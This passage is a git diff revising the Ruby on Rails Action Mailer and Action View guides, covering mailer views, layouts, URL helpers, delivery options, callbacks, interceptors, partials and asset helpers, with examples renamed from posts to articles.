+Mailer views are located in the `app/views/name_of_mailer_class` directory. The
+specific mailer view is known to the class because its name is the same as the
+mailer method. In our example from above, our mailer view for the
+`welcome_email` method will be in `app/views/user_mailer/welcome_email.html.erb`
+for the HTML version and `welcome_email.text.erb` for the plain text version.
To change the default mailer view for your action you do something like:
```ruby
-class UserMailer < ActionMailer::Base
+class UserMailer < ApplicationMailer
default from: 'notifications@example.com'
def welcome_email(user)
@user = user
@url = 'http://example.com/login'
- mail(to: user.email,
+ mail(to: @user.email,
subject: 'Welcome to My Awesome Site',
template_path: 'notifications',
template_name: 'another')
@@ -293,47 +377,57 @@ class UserMailer < ActionMailer::Base
end
```
-In this case it will look for templates at `app/views/notifications` with name `another`. You can also specify an array of paths for `template_path`, and they will be searched in order.
+In this case it will look for templates at `app/views/notifications` with name
+`another`. You can also specify an array of paths for `template_path`, and they
+will be searched in order.
-If you want more flexibility you can also pass a block and render specific templates or even render inline or text without using a template file:
+If you want more flexibility you can also pass a block and render specific
+templates or even render inline or text without using a template file:
```ruby
-class UserMailer < ActionMailer::Base
+class UserMailer < ApplicationMailer
default from: 'notifications@example.com'
def welcome_email(user)
@user = user
@url = 'http://example.com/login'
- mail(to: user.email,
+ mail(to: @user.email,
subject: 'Welcome to My Awesome Site') do |format|
format.html { render 'another_template' }
format.text { render text: 'Render text' }
end
end
-
end
```
-This will render the template 'another_template.html.erb' for the HTML part and use the rendered text for the text part. The render command is the same one used inside of Action Controller, so you can use all the same options, such as `:text`, `:inline` etc.
+This will render the template 'another_template.html.erb' for the HTML part and
+use the rendered text for the text part. The render command is the same one used
+inside of Action Controller, so you can use all the same options, such as
+`:text`, `:inline` etc.
### Action Mailer Layouts
-Just like controller views, you can also have mailer layouts. The layout name needs to be the same as your mailer, such as `user_mailer.html.erb` and `user_mailer.text.erb` to be automatically recognized by your mailer as a layout.
+Just like controller views, you can also have mailer layouts. The layout name
+needs to be the same as your mailer, such as `user_mailer.html.erb` and
+`user_mailer.text.erb` to be automatically recognized by your mailer as a
+layout.
-In order to use a different file just use:
+In order to use a different file, call `layout` in your mailer:
```ruby
-class UserMailer < ActionMailer::Base
+class UserMailer < ApplicationMailer
layout 'awesome' # use awesome.(html|text).erb as the layout
end
```
-Just like with controller views, use `yield` to render the view inside the layout.
+Just like with controller views, use `yield` to render the view inside the
+layout.
-You can also pass in a `layout: 'layout_name'` option to the render call inside the format block to specify different layouts for different actions:
+You can also pass in a `layout: 'layout_name'` option to the render call inside
+the format block to specify different layouts for different formats:
```ruby
-class UserMailer < ActionMailer::Base
+class UserMailer < ApplicationMailer
def welcome_email(user)
mail(to: user.email) do |format|
format.html { render layout: 'my_layout' }
@@ -343,13 +437,44 @@ class UserMailer < ActionMailer::Base
end
```
-Will render the HTML part using the `my_layout.html.erb` file and the text part with the usual `user_mailer.text.erb` file if it exists.
+Will render the HTML part using the `my_layout.html.erb` file and the text part
+with the usual `user_mailer.text.erb` file if it exists.
### Generating URLs in Action Mailer Views
-URLs can be generated in mailer views using `url_for` or named routes.
+Unlike controllers, the mailer instance doesn't have any context about the
+incoming request so you'll need to provide the `:host` parameter yourself.
+
+As the `:host` usually is consistent across the application you can configure it
+globally in `config/application.rb`:
+
+```ruby
+config.action_mailer.default_url_options = { host: 'example.com' }
+```
+
+Because of this behavior you cannot use any of the `*_path` helpers inside of
+an email. Instead you will need to use the associated `*_url` helper. For example
+instead of using
+
+```
+<%= link_to 'welcome', welcome_path %>
+```
+
+You will need to use:
+
+```
+<%= link_to 'welcome', welcome_url %>
+```
+
+By using the full URL, your links will now work in your emails.
+
+#### generating URLs with `url_for`
+
+`url_for` generate full URL by default in templates.
+
+If you did not configure the `:host` option globally make sure to pass it to
+`url_for`.
-Unlike controllers, the mailer instance doesn't have any context about the incoming request so you'll need to provide the `:host`, `:controller`, and `:action`:
```erb
<%= url_for(host: 'example.com',
@@ -357,57 +482,65 @@ Unlike controllers, the mailer instance doesn't have any context about the incom
action: 'greeting') %>
```
-When using named routes you only need to supply the `:host`:
+#### generating URLs with named routes
-```erb
-<%= user_url(@user, host: 'example.com') %>
-```
-
-Email clients have no web context and so paths have no base URL to form complete web addresses. Thus, when using named routes only the "_url" variant makes sense.
+Email clients have no web context and so paths have no base URL to form complete
+web addresses. Thus, you should always use the "_url" variant of named route
+helpers.
-It is also possible to set a default host that will be used in all mailers by setting the `:host` option as a configuration option in `config/application.rb`:
+If you did not configure the `:host` option globally make sure to pass it to the
+url helper.
-```ruby
-config.action_mailer.default_url_options = { host: 'example.com' }
+```erb
+<%= user_url(@user, host: 'example.com') %>
```
-If you use this setting, you should pass the `only_path: false` option when using `url_for`. This will ensure that absolute URLs are generated because the `url_for` view helper will, by default, generate relative URLs when a `:host` option isn't explicitly provided.
-
### Sending Multipart Emails
-Action Mailer will automatically send multipart emails if you have different templates for the same action. So, for our UserMailer example, if you have `welcome_email.text.erb` and `welcome_email.html.erb` in `app/views/user_mailer`, Action Mailer will automatically send a multipart email with the HTML and text versions setup as different parts.
+Action Mailer will automatically send multipart emails if you have different
+templates for the same action. So, for our UserMailer example, if you have
+`welcome_email.text.erb` and `welcome_email.html.erb` in
+`app/views/user_mailer`, Action Mailer will automatically send a multipart email
+with the HTML and text versions setup as different parts.
-The order of the parts getting inserted is determined by the `:parts_order` inside of the `ActionMailer::Base.default` method.
+The order of the parts getting inserted is determined by the `:parts_order`
+inside of the `ActionMailer::Base.default` method.
-### Sending Emails with Attachments
+### Sending Emails with Dynamic Delivery Options
-Attachments can be added by using the `attachments` method:
+If you wish to override the default delivery options (e.g. SMTP credentials)
+while delivering emails, you can do this using `delivery_method_options` in the
+mailer action.
```ruby
-class UserMailer < ActionMailer::Base
- def welcome_email(user)
+class UserMailer < ApplicationMailer
+ def welcome_email(user, company)
@user = user
@url = user_url(@user)
- attachments['terms.pdf'] = File.read('/path/terms.pdf')
- mail(to: user.email,
- subject: 'Please see the Terms and Conditions attached')
+ delivery_options = { user_name: company.smtp_user,
+ password: company.smtp_password,
+ address: company.smtp_host }
+ mail(to: @user.email,
+ subject: "Please see the Terms and Conditions attached",
+ delivery_method_options: delivery_options)
end
end
```
-The above will send a multipart email with an attachment, properly nested with the top level being `multipart/mixed` and the first part being a `multipart/alternative` containing the plain text and HTML email messages.
+### Sending Emails without Template Rendering
-### Sending Emails with Dynamic Delivery Options
-
-If you wish to override the default delivery options (e.g. SMTP credentials) while delivering emails, you can do this using `delivery_method_options` in the mailer action.
+There may be cases in which you want to skip the template rendering step and
+supply the email body as a string. You can achieve this using the `:body`
+option. In such cases don't forget to add the `:content_type` option. Rails
+will default to `text/plain` otherwise.
```ruby
-class UserMailer < ActionMailer::Base
- def welcome_email(user,company)
- @user = user
- @url = user_url(@user)
- delivery_options = { user_name: company.smtp_user, password: company.smtp_password, address: company.smtp_host }
- mail(to: user.email, subject: "Please see the Terms and Conditions attached", delivery_method_options: delivery_options)
+class UserMailer < ApplicationMailer
+ def welcome_email(user, email_body)
+ mail(to: user.email,
+ body: email_body,
+ content_type: "text/html",
+ subject: "Already rendered!")
end
end
```
@@ -415,18 +548,26 @@ end
Receiving Emails
----------------
-Receiving and parsing emails with Action Mailer can be a rather complex endeavor. Before your email reaches your Rails app, you would have had to configure your system to somehow forward emails to your app, which needs to be listening for that. So, to receive emails in your Rails app you'll need to:
+Receiving and parsing emails with Action Mailer can be a rather complex
+endeavor. Before your email reaches your Rails app, you would have had to
+configure your system to somehow forward emails to your app, which needs to be
+listening for that. So, to receive emails in your Rails app you'll need to:
* Implement a `receive` method in your mailer.
-* Configure your email server to forward emails from the address(es) you would like your app to receive to `/path/to/app/script/rails runner 'UserMailer.receive(STDIN.read)'`.
+* Configure your email server to forward emails from the address(es) you would
+ like your app to receive to `/path/to/app/bin/rails runner
+ 'UserMailer.receive(STDIN.read)'`.
-Once a method called `receive` is defined in any mailer, Action Mailer will parse the raw incoming email into an email object, decode it, instantiate a new mailer, and pass the email object to the mailer `receive` instance method. Here's an example:
+Once a method called `receive` is defined in any mailer, Action Mailer will
+parse the raw incoming email into an email object, decode it, instantiate a new
+mailer, and pass the email object to the mailer `receive` instance
+method. Here's an example:
```ruby
-class UserMailer < ActionMailer::Base
+class UserMailer < ApplicationMailer
def receive(email)
- page = Page.find_by_address(email.to.first)
+ page = Page.find_by(address: email.to.first)
page.emails.create(
subject: email.subject,
body: email.body
@@ -447,17 +588,23 @@ end
Action Mailer Callbacks
---------------------------
-Action Mailer allows for you to specify a `before_action`, `after_action` and 'around_action'.
+Action Mailer allows for you to specify a `before_action`, `after_action` and
+`around_action`.
-* Filters can be specified with a block or a symbol to a method in the mailer class similar to controllers.
+* Filters can be specified with a block or a symbol to a method in the mailer
+ class similar to controllers.
-* You could use a `before_action` to prepopulate the mail object with defaults, delivery_method_options or insert default headers and attachments.
+* You could use a `before_action` to populate the mail object with defaults,
+ delivery_method_options or insert default headers and attachments.
-* You could use an `after_action` to do similar setup as a `before_action` but using instance variables set in your mailer action.
+* You could use an `after_action` to do similar setup as a `before_action` but
+ using instance variables set in your mailer action.
```ruby
-class UserMailer < ActionMailer::Base
- after_action :set_delivery_options, :prevent_delivery_to_guests, :set_business_headers
+class UserMailer < ApplicationMailer
+ after_action :set_delivery_options,
+ :prevent_delivery_to_guests,
+ :set_business_headers
def feedback_message(business, user)
@business = business
@@ -472,24 +619,25 @@ class UserMailer < ActionMailer::Base
private
- def set_delivery_options
- # You have access to the mail instance and @business and @user instance variables here
- if @business && @business.has_smtp_settings?
- mail.delivery_method.settings.merge!(@business.smtp_settings)
+ def set_delivery_options
+ # You have access to the mail instance,
+ # @business and @user instance variables here
+ if @business && @business.has_smtp_settings?
+ mail.delivery_method.settings.merge!(@business.smtp_settings)
+ end
end
- end
- def prevent_delivery_to_guests
- if @user && @user.guest?
- mail.perform_deliveries = false
+ def prevent_delivery_to_guests
+ if @user && @user.guest?
+ mail.perform_deliveries = false
+ end
end
- end
- def set_business_headers
- if @business
- headers["X-SMTPAPI-CATEGORY"] = @business.code
+ def set_business_headers
+ if @business
+ headers["X-SMTPAPI-CATEGORY"] = @business.code
+ end
end
- end
end
```
@@ -498,29 +646,34 @@ end
Using Action Mailer Helpers
---------------------------
-Action Mailer now just inherits from Abstract Controller, so you have access to the same generic helpers as you do in Action Controller.
+Action Mailer now just inherits from `AbstractController`, so you have access to
+the same generic helpers as you do in Action Controller.
Action Mailer Configuration
---------------------------
-The following configuration options are best made in one of the environment files (environment.rb, production.rb, etc...)
+The following configuration options are best made in one of the environment
+files (environment.rb, production.rb, etc...)
| Configuration | Description |
|---------------|-------------|
-|`template_root`|Determines the base from which template references will be made.|
|`logger`|Generates information on the mailing run if available. Can be set to `nil` for no logging. Compatible with both Ruby's own `Logger` and `Log4r` loggers.|
-|`smtp_settings`|Allows detailed configuration for `:smtp` delivery method:<ul><li>`:address` - Allows you to use a remote mail server. Just change it from its default "localhost" setting.</li><li>`:port` - On the off chance that your mail server doesn't run on port 25, you can change it.</li><li>`:domain` - If you need to specify a HELO domain, you can do it here.</li><li>`:user_name` - If your mail server requires authentication, set the username in this setting.</li><li>`:password` - If your mail server requires authentication, set the password in this setting.</li><li>`:authentication` - If your mail server requires authentication, you need to specify the authentication type here. This is a symbol and one of `:plain`, `:login`, `:cram_md5`.</li><li>`:enable_starttls_auto` - Set this to `false` if there is a problem with your server certificate that you cannot resolve.</li></ul>|
+|`smtp_settings`|Allows detailed configuration for `:smtp` delivery method:<ul><li>`:address` - Allows you to use a remote mail server. Just change it from its default `"localhost"` setting.</li><li>`:port` - On the off chance that your mail server doesn't run on port 25, you can change it.</li><li>`:domain` - If you need to specify a HELO domain, you can do it here.</li><li>`:user_name` - If your mail server requires authentication, set the username in this setting.</li><li>`:password` - If your mail server requires authentication, set the password in this setting.</li><li>`:authentication` - If your mail server requires authentication, you need to specify the authentication type here. This is a symbol and one of `:plain`, `:login`, `:cram_md5`.</li><li>`:enable_starttls_auto` - Set this to `false` if there is a problem with your server certificate that you cannot resolve.</li></ul>|
|`sendmail_settings`|Allows you to override options for the `:sendmail` delivery method.<ul><li>`:location` - The location of the sendmail executable. Defaults to `/usr/sbin/sendmail`.</li><li>`:arguments` - The command line arguments to be passed to sendmail. Defaults to `-i -t`.</li></ul>|
|`raise_delivery_errors`|Whether or not errors should be raised if the email fails to be delivered. This only works if the external email server is configured for immediate delivery.|
-|`delivery_method`|Defines a delivery method. Possible values are `:smtp` (default), `:sendmail`, `:file` and `:test`.|
+|`delivery_method`|Defines a delivery method. Possible values are:<ul><li>`:smtp` (default), can be configured by using `config.action_mailer.smtp_settings`.</li><li>`:sendmail`, can be configured by using `config.action_mailer.sendmail_settings`.</li><li>`:file`: save emails to files; can be configured by using `config.action_mailer.file_settings`.</li><li>`:test`: save emails to `ActionMailer::Base.deliveries` array.</li></ul>See [API docs](http://api.rubyonrails.org/classes/ActionMailer/Base.html) for more info.|
|`perform_deliveries`|Determines whether deliveries are actually carried out when the `deliver` method is invoked on the Mail message. By default they are, but this can be turned off to help functional testing.|
|`deliveries`|Keeps an array of all the emails sent out through the Action Mailer with delivery_method :test. Most useful for unit and functional testing.|
|`default_options`|Allows you to set default values for the `mail` method options (`:from`, `:reply_to`, etc.).|
-|`async`|Setting this flag will turn on asynchronous message sending, message rendering and delivery will be pushed to `Rails.queue` for processing.|
+
+For a complete writeup of possible configurations see the
+[Configuring Action Mailer](configuring.html#configuring-action-mailer) in
+our Configuring Rails Applications guide.
### Example Action Mailer Configuration
-An example would be adding the following to your appropriate `config/environments/$RAILS_ENV.rb` file:
+An example would be adding the following to your appropriate
+`config/environments/$RAILS_ENV.rb` file:
```ruby
config.action_mailer.delivery_method = :sendmail
@@ -531,19 +684,20 @@ config.action_mailer.delivery_method = :sendmail
# }
config.action_mailer.perform_deliveries = true
config.action_mailer.raise_delivery_errors = true
-config.action_mailer.default_options = {from: 'no-replay@example.org'}
+config.action_mailer.default_options = {from: 'no-reply@example.com'}
```
-### Action Mailer Configuration for GMail
+### Action Mailer Configuration for Gmail
-As Action Mailer now uses the Mail gem, this becomes as simple as adding to your `config/environments/$RAILS_ENV.rb` file:
+As Action Mailer now uses the [Mail gem](https://github.com/mikel/mail), this
+becomes as simple as adding to your `config/environments/$RAILS_ENV.rb` file:
```ruby
config.action_mailer.delivery_method = :smtp
config.action_mailer.smtp_settings = {
address: 'smtp.gmail.com',
port: 587,
- domain: 'baci.lindsaar.net',
+ domain: 'example.com',
user_name: '<username>',
password: '<password>',
authentication: 'plain',
@@ -553,49 +707,34 @@ config.action_mailer.smtp_settings = {
Mailer Testing
--------------
-By default Action Mailer does not send emails in the test environment. They are just added to the `ActionMailer::Base.deliveries` array.
+You can find detailed instructions on how to test your mailers in the
+[testing guide](testing.html#testing-your-mailers).
-Testing mailers normally involves two things: One is that the mail was queued, and the other one that the email is correct. With that in mind, we could test our example mailer from above like so:
+Intercepting Emails
+-------------------
-```ruby
-class UserMailerTest < ActionMailer::TestCase
- def test_welcome_email
- user = users(:some_user_in_your_fixtures)
-
- # Send the email, then test that it got queued
- email = UserMailer.welcome_email(user).deliver
- assert !ActionMailer::Base.deliveries.empty?
-
- # Test the body of the sent email contains what we expect it to
- assert_equal [user.email], email.to
- assert_equal 'Welcome to My Awesome Site', email.subject
- assert_match "<h1>Welcome to example.com, #{user.name}</h1>", email.body.to_s
- assert_match 'you have joined to example.com community', email.body.to_s
- end
-end
-```
-
-In the test we send the email and store the returned object in the `email` variable. We then ensure that it was sent (the first assert), then, in the second batch of assertions, we ensure that the email does indeed contain what we expect.
-
-Asynchronous
-------------
-
-Rails provides a Synchronous Queue by default. If you want to use an Asynchronous one you will need to configure an async Queue provider like Resque. Queue providers are supposed to have a Railtie where they configure it's own async queue.
-
-### Custom Queues
-
-If you need a different queue than `Rails.queue` for your mailer you can use `ActionMailer::Base.queue=`:
+There are situations where you need to edit an email before it's
+delivered. Fortunately Action Mailer provides hooks to intercept every
+email. You can register an interceptor to make modifications to mail messages
+right before they are handed to the delivery agents.
```ruby
-class WelcomeMailer < ActionMailer::Base
- self.queue = MyQueue.new
+class SandboxEmailInterceptor
+ def self.delivering_email(message)
+ message.to = ['sandbox@example.com']
+ end
end
```
-or adding to your `config/environments/$RAILS_ENV.rb`:
+Before the interceptor can do its job you need to register it with the Action
+Mailer framework. You can do this in an initializer file
+`config/initializers/sandbox_email_interceptor.rb`
```ruby
-config.action_mailer.queue = MyQueue.new
+ActionMailer::Base.register_interceptor(SandboxEmailInterceptor) if Rails.env.staging?
```
-Your custom queue should expect a job that responds to `#run`.
+NOTE: The example above uses a custom environment called "staging" for a
+production like server but for testing purposes. You can read
+[Creating Rails environments](configuring.html#creating-rails-environments)
+for more information about custom Rails environments.
diff --git a/guides/source/action_view_overview.md b/guides/source/action_view_overview.md
index 6c2871d478..f4d5bb8272 100644
--- a/guides/source/action_view_overview.md
+++ b/guides/source/action_view_overview.md
@@ -7,7 +7,6 @@ After reading this guide, you will know:
* How best to use templates, partials, and layouts.
* What helpers are provided by Action View and how to make your own.
* How to use localized views.
-* How to use Action View outside of Rails.
--------------------------------------------------------------------------------
@@ -28,34 +27,34 @@ For each controller there is an associated directory in the `app/views` director
Let's take a look at what Rails does by default when creating a new resource using the scaffold generator:
```bash
-$ rails generate scaffold post
+$ bin/rails generate scaffold article
[...]
invoke scaffold_controller
- create app/controllers/posts_controller.rb
+ create app/controllers/articles_controller.rb
invoke erb
- create app/views/posts
- create app/views/posts/index.html.erb
- create app/views/posts/edit.html.erb
- create app/views/posts/show.html.erb
- create app/views/posts/new.html.erb
- create app/views/posts/_form.html.erb
+ create app/views/articles
+ create app/views/articles/index.html.erb
+ create app/views/articles/edit.html.erb
+ create app/views/articles/show.html.erb
+ create app/views/articles/new.html.erb
+ create app/views/articles/_form.html.erb
[...]
```
There is a naming convention for views in Rails. Typically, the views share their name with the associated controller action, as you can see above.
-For example, the index controller action of the `posts_controller.rb` will use the `index.html.erb` view file in the `app/views/posts` directory.
-The complete HTML returned to the client is composed of a combination of this ERB file, a layout template that wraps it, and all the partials that the view may reference. Later on this guide you can find a more detailed documentation of each one of these three components.
+For example, the index controller action of the `articles_controller.rb` will use the `index.html.erb` view file in the `app/views/articles` directory.
+The complete HTML returned to the client is composed of a combination of this ERB file, a layout template that wraps it, and all the partials that the view may reference. Within this guide you will find more detailed documentation about each of these three components.
Templates, Partials and Layouts
-------------------------------
-As mentioned before, the final HTML output is a composition of three Rails elements: `Templates`, `Partials` and `Layouts`.
-Below is a brief overview of each one of them.
+As mentioned, the final HTML output is a composition of three Rails elements: `Templates`, `Partials` and `Layouts`.
+Below is a brief overview of each of them.
### Templates
-Action View templates can be written in several ways. If the template file has a `.erb` extension then it uses a mixture of ERB (included in Ruby) and HTML. If the template file has a `.builder` extension then a fresh instance of `Builder::XmlMarkup` library is used.
+Action View templates can be written in several ways. If the template file has a `.erb` extension then it uses a mixture of ERB (Embedded Ruby) and HTML. If the template file has a `.builder` extension then the `Builder::XmlMarkup` library is used.
Rails supports multiple template systems and uses a file extension to distinguish amongst them. For example, an HTML file using the ERB template system will have `.html.erb` as a file extension.
@@ -68,11 +67,11 @@ Consider the following loop for names:
```html+erb
<h1>Names of all the people</h1>
<% @people.each do |person| %>
- Name: <%= person.name %><br/>
+ Name: <%= person.name %><br>
<% end %>
```
-The loop is set up in regular embedding tags (`<% %>`) and the name is written using the output embedding tags (`<%= %>`). Note that this is not just a usage suggestion, for regular output functions like `print` or `puts` won't work with ERB templates. So this would be wrong:
+The loop is set up using regular embedding tags (`<% %>`) and the name is inserted using the output embedding tags (`<%= %>`). Note that this is not just a usage suggestion: regular output functions such as `print` and `puts` won't be rendered to the view with ERB templates. So this would be wrong:
```html+erb
<%# WRONG %>
@@ -152,7 +151,7 @@ By default, Rails will compile each template to a method in order to render it.
### Partials
-Partial templates – usually just called "partials" – are another device for breaking the rendering process into more manageable chunks. With partials, you can extract pieces of code from your templates to separate files and also reuse them throughout your templates.
+Partial templates - usually just called "partials" - are another device for breaking the rendering process into more manageable chunks. With partials, you can extract pieces of code from your templates to separate files and also reuse them throughout your templates.
#### Naming Partials
@@ -172,7 +171,7 @@ That code will pull in the partial from `app/views/shared/_menu.html.erb`.
#### Using Partials to simplify Views
-One way to use partials is to treat them as the equivalent of subroutines: as a way to move details out of a view so that you can grasp what's going on more easily. For example, you might have a view that looked like this:
+One way to use partials is to treat them as the equivalent of subroutines; a way to move details out of a view so that you can grasp what's going on more easily. For example, you might have a view that looks like this:
```html+erb
<%= render "shared/ad_banner" %>
@@ -231,7 +230,7 @@ The `object` and `as` options can also be used together:
#### Rendering Collections
-It is very common that a template needs to iterate over a collection and render a sub-template for each of the elements. This pattern has been implemented as a single method that accepts an array and renders a partial for each one of the elements in the array.
+It is very common that a template will need to iterate over a collection and render a sub-template for each of the elements. This pattern has been implemented as a single method that accepts an array and renders a partial for each one of the elements in the array.
So this example for rendering all the products:
@@ -247,7 +246,7 @@ can be rewritten in a single line:
<%= render partial: "product", collection: @products %>
```
-When a partial is called like this (eg. with a collection), the individual instances of the partial have access to the member of the collection being rendered via a variable named after the partial. In this case, the partial is `_product`, and within it you can refer to `product` to get the instance that is being rendered.
+When a partial is called with a collection, the individual instances of the partial have access to the member of the collection being rendered via a variable named after the partial. In this case, the partial is `_product`, and within it you can refer to `product` to get the collection member that is being rendered.
You can use a shorthand syntax for rendering collections. Assuming `@products` is a collection of `Product` instances, you can simply write the following to produce the same result:
@@ -255,49 +254,44 @@ You can use a shorthand syntax for rendering collections. Assuming `@products` i
<%= render @products %>
```
-Rails determines the name of the partial to use by looking at the model name in the collection, `Product` in this case. In fact, you can even create a heterogeneous collection and render it this way, and Rails will choose the proper partial for each member of the collection.
+Rails determines the name of the partial to use by looking at the model name in the collection, `Product` in this case. In fact, you can even render a collection made up of instances of different models using this shorthand, and Rails will choose the proper partial for each member of the collection.
#### Spacer Templates
You can also specify a second partial to be rendered between instances of the main partial by using the `:spacer_template` option:
```erb
-<%= render @products, spacer_template: "product_ruler" %>
+<%= render partial: @products, spacer_template: "product_ruler" %>
```
Rails will render the `_product_ruler` partial (with no data passed to it) between each pair of `_product` partials.
### Layouts
-TODO...
-
-Using Templates, Partials and Layouts "The Rails Way"
---------------------------------------------------------
-
-TODO...
+Layouts can be used to render a common view template around the results of Rails controller actions. Typically, a Rails application will have a couple of layouts that pages will be rendered within. For example, a site might have one layout for a logged in user and another for the marketing or sales side of the site. The logged in user layout might include top-level navigation that should be present across many controller actions. The sales layout for a SaaS app might include top-level navigation for things like "Pricing" and "Contact Us" pages. You would expect each layout to have a different look and feel. You can read about layouts in more detail in the [Layouts and Rendering in Rails](layouts_and_rendering.html) guide.
Partial Layouts
---------------
-Partials can have their own layouts applied to them. These layouts are different than the ones that are specified globally for the entire action, but they work in a similar fashion.
+Partials can have their own layouts applied to them. These layouts are different from those applied to a controller action, but they work in a similar fashion.
-Let's say we're displaying a post on a page, that should be wrapped in a `div` for display purposes. First, we'll create a new `Post`:
+Let's say we're displaying an article on a page which should be wrapped in a `div` for display purposes. Firstly, we'll create a new `Article`:
```ruby
-Post.create(body: 'Partial Layouts are cool!')
+Article.create(body: 'Partial Layouts are cool!')
```
-In the `show` template, we'll render the `_post` partial wrapped in the `box` layout:
+In the `show` template, we'll render the `_article` partial wrapped in the `box` layout:
-**posts/show.html.erb**
+**articles/show.html.erb**
```erb
-<%= render partial: 'post', layout: 'box', locals: {post: @post} %>
+<%= render partial: 'article', layout: 'box', locals: {article: @article} %>
```
-The `box` layout simply wraps the `_post` partial in a `div`:
+The `box` layout simply wraps the `_article` partial in a `div`:
-**posts/_box.html.erb**
+**articles/_box.html.erb**
```html+erb
<div class='box'>
@@ -305,13 +299,13 @@ The `box` layout simply wraps the `_post` partial in a `div`:
</div>
```
-The `_post` partial wraps the post's `body` in a `div` with the `id` of the post using the `div_for` helper:
+The `_article` partial wraps the article's `body` in a `div` with the `id` of the article using the `div_for` helper:
-**posts/_post.html.erb**
+**articles/_article.html.erb**
```html+erb
-<%= div_for(post) do %>
- <p><%= post.body %></p>
+<%= div_for(article) do %>
+ <p><%= article.body %></p>
<% end %>
```
@@ -319,22 +313,22 @@ this would output the following:
```html
<div class='box'>
- <div id='post_1'>
+ <div id='article_1'>
<p>Partial Layouts are cool!</p>
</div>
</div>
```
-Note that the partial layout has access to the local `post` variable that was passed into the `render` call. However, unlike application-wide layouts, partial layouts still have the underscore prefix.
+Note that the partial layout has access to the local `article` variable that was passed into the `render` call. However, unlike application-wide layouts, partial layouts still have the underscore prefix.
-You can also render a block of code within a partial layout instead of calling `yield`. For example, if we didn't have the `_post` partial, we could do this instead:
+You can also render a block of code within a partial layout instead of calling `yield`. For example, if we didn't have the `_article` partial, we could do this instead:
-**posts/show.html.erb**
+**articles/show.html.erb**
```html+erb
-<% render(layout: 'box', locals: {post: @post}) do %>
- <%= div_for(post) do %>
- <p><%= post.body %></p>
+<% render(layout: 'box', locals: {article: @article}) do %>
+ <%= div_for(article) do %>
+ <p><%= article.body %></p>
<% end %>
<% end %>
```
@@ -361,18 +355,18 @@ This module provides methods for generating container tags, such as `div`, for y
Renders a container tag that relates to your Active Record Object.
-For example, given `@post` is the object of `Post` class, you can do:
+For example, given `@article` is the object of `Article` class, you can do:
```html+erb
-<%= content_tag_for(:tr, @post) do %>
- <td><%= @post.title %></td>
+<%= content_tag_for(:tr, @article) do %>
+ <td><%= @article.title %></td>
<% end %>
```
This will generate this HTML output:
```html
-<tr id="post_1234" class="post">
+<tr id="article_1234" class="article">
<td>Hello World!</td>
</tr>
```
@@ -380,34 +374,34 @@ This will generate this HTML output:
You can also supply HTML attributes as an additional option hash. For example:
```html+erb
-<%= content_tag_for(:tr, @post, class: "frontpage") do %>
- <td><%= @post.title %></td>
+<%= content_tag_for(:tr, @article, class: "frontpage") do %>
+ <td><%= @article.title %></td>
<% end %>
```
Will generate this HTML output:
```html
-<tr id="post_1234" class="post frontpage">
+<tr id="article_1234" class="article frontpage">
<td>Hello World!</td>
</tr>
```
-You can pass a collection of Active Record objects. This method will loop through your objects and create a container for each of them. For example, given `@posts` is an array of two `Post` objects:
+You can pass a collection of Active Record objects. This method will loop through your objects and create a container for each of them. For example, given `@articles` is an array of two `Article` objects:
```html+erb
-<%= content_tag_for(:tr, @posts) do |post| %>
- <td><%= post.title %></td>
+<%= content_tag_for(:tr, @articles) do |article| %>
+ <td><%= article.title %></td>
<% end %>
```
Will generate this HTML output:
```html
-<tr id="post_1234" class="post">
+<tr id="article_1234" class="article">
<td>Hello World!</td>
</tr>
-<tr id="post_1235" class="post">
+<tr id="article_1235" class="article">
<td>Ruby on Rails Rocks!</td>
</tr>
```
@@ -417,15 +411,15 @@ Will generate this HTML output:
This is actually a convenient method which calls `content_tag_for` internally with `:div` as the tag name. You can pass either an Active Record object or a collection of objects. For example:
```html+erb
-<%= div_for(@post, class: "frontpage") do %>
- <td><%= @post.title %></td>
+<%= div_for(@article, class: "frontpage") do %>
+ <td><%= @article.title %></td>
<% end %>
```
Will generate this HTML output:
```html
-<div id="post_1234" class="post frontpage">
+<div id="article_1234" class="article frontpage">
<td>Hello World!</td>
</div>
```
@@ -469,7 +463,7 @@ stylesheet_link_tag :monkey # =>
#### auto_discovery_link_tag
-Returns a link tag that browsers and news readers can use to auto-detect an RSS or Atom feed.
+Returns a link tag that browsers and feed readers can use to auto-detect an RSS or Atom feed.
```ruby
auto_discovery_link_tag(:rss, "http://www.example.com/feed.rss", {title: "RSS Feed"}) # =>
@@ -492,7 +486,7 @@ image_path("edit.png") # => /assets/edit-2d1a2db63fc738690021fedb5a65b68e.png
#### image_url
-Computes the url to an image asset in the `app/asset/images` directory. This will call `image_path` internally and merge with your current host or your asset host.
+Computes the url to an image asset in the `app/assets/images` directory. This will call `image_path` internally and merge with your current host or your asset host.
```ruby
image_url("edit.png") # => http://www.example.com/assets/edit.png
@@ -500,7 +494,7 @@ image_url("edit.png") # => http://www.example.com/assets/edit.png
#### image_tag
-Returns an html image tag for the source. The source can be a full path or a file that exists in your `app/assets/images` directory.
+Returns an HTML image tag for the source. The source can be a full path or a file that exists in your `app/assets/images` directory.
```ruby
image_tag("icon.png") # => <img src="/assets/icon.png" alt="Icon" />
@@ -508,7 +502,7 @@ image_tag("icon.png") # => <img src="/assets/icon.png" alt="Icon" />
#### javascript_include_tag
-Returns an html script tag for each of the sources provided. You can pass in the filename (`.js` extension is optional) of JavaScript files that exist in your `app/assets/javascripts` directory for inclusion into the current page or you can pass the full path relative to your document root.
+Returns an HTML script tag for each of the sources provided. You can pass in the filename (`.js` extension is optional) of JavaScript files that exist in your `app/assets/javascripts` directory for inclusion into the current page or you can pass the full path relative to your document root.
```ruby
javascript_include_tag "common" # => <script src="/assets/common.js"></script>
@@ -595,14 +589,14 @@ This helper makes building an Atom feed easy. Here's a full usage example:
**config/routes.rb**
```ruby
-resources :posts
+resources :articles
```
-**app/controllers/posts_controller.rb**
+**app/controllers/articles_controller.rb**
```ruby
def index
- @posts = Post.all
+ @articles = Article.all
respond_to do |format|
format.html
@@ -611,20 +605,20 @@ def index
end
```
-**app/views/posts/index.atom.builder**
+**app/views/articles/index.atom.builder**
```ruby
atom_feed do |feed|
- feed.title("Posts Index")
- feed.updated((@posts.first.created_at))
+ feed.title("Articles Index")
+ feed.updated((@articles.first.created_at))
- @posts.each do |post|
- feed.entry(post) do |entry|
- entry.title(post.title)
- entry.content(post.body, type: 'html')
+ @articles.each do |article|
+ feed.entry(article) do |entry|
+ entry.title(article.title)
+ entry.content(article.body, type: 'html')
entry.author do |author|
- author.name(post.author_name)
+ author.name(article.author_name)
end
end
end
@@ -702,7 +696,7 @@ For example, let's say we have a standard application layout, but also a special
</html>
```
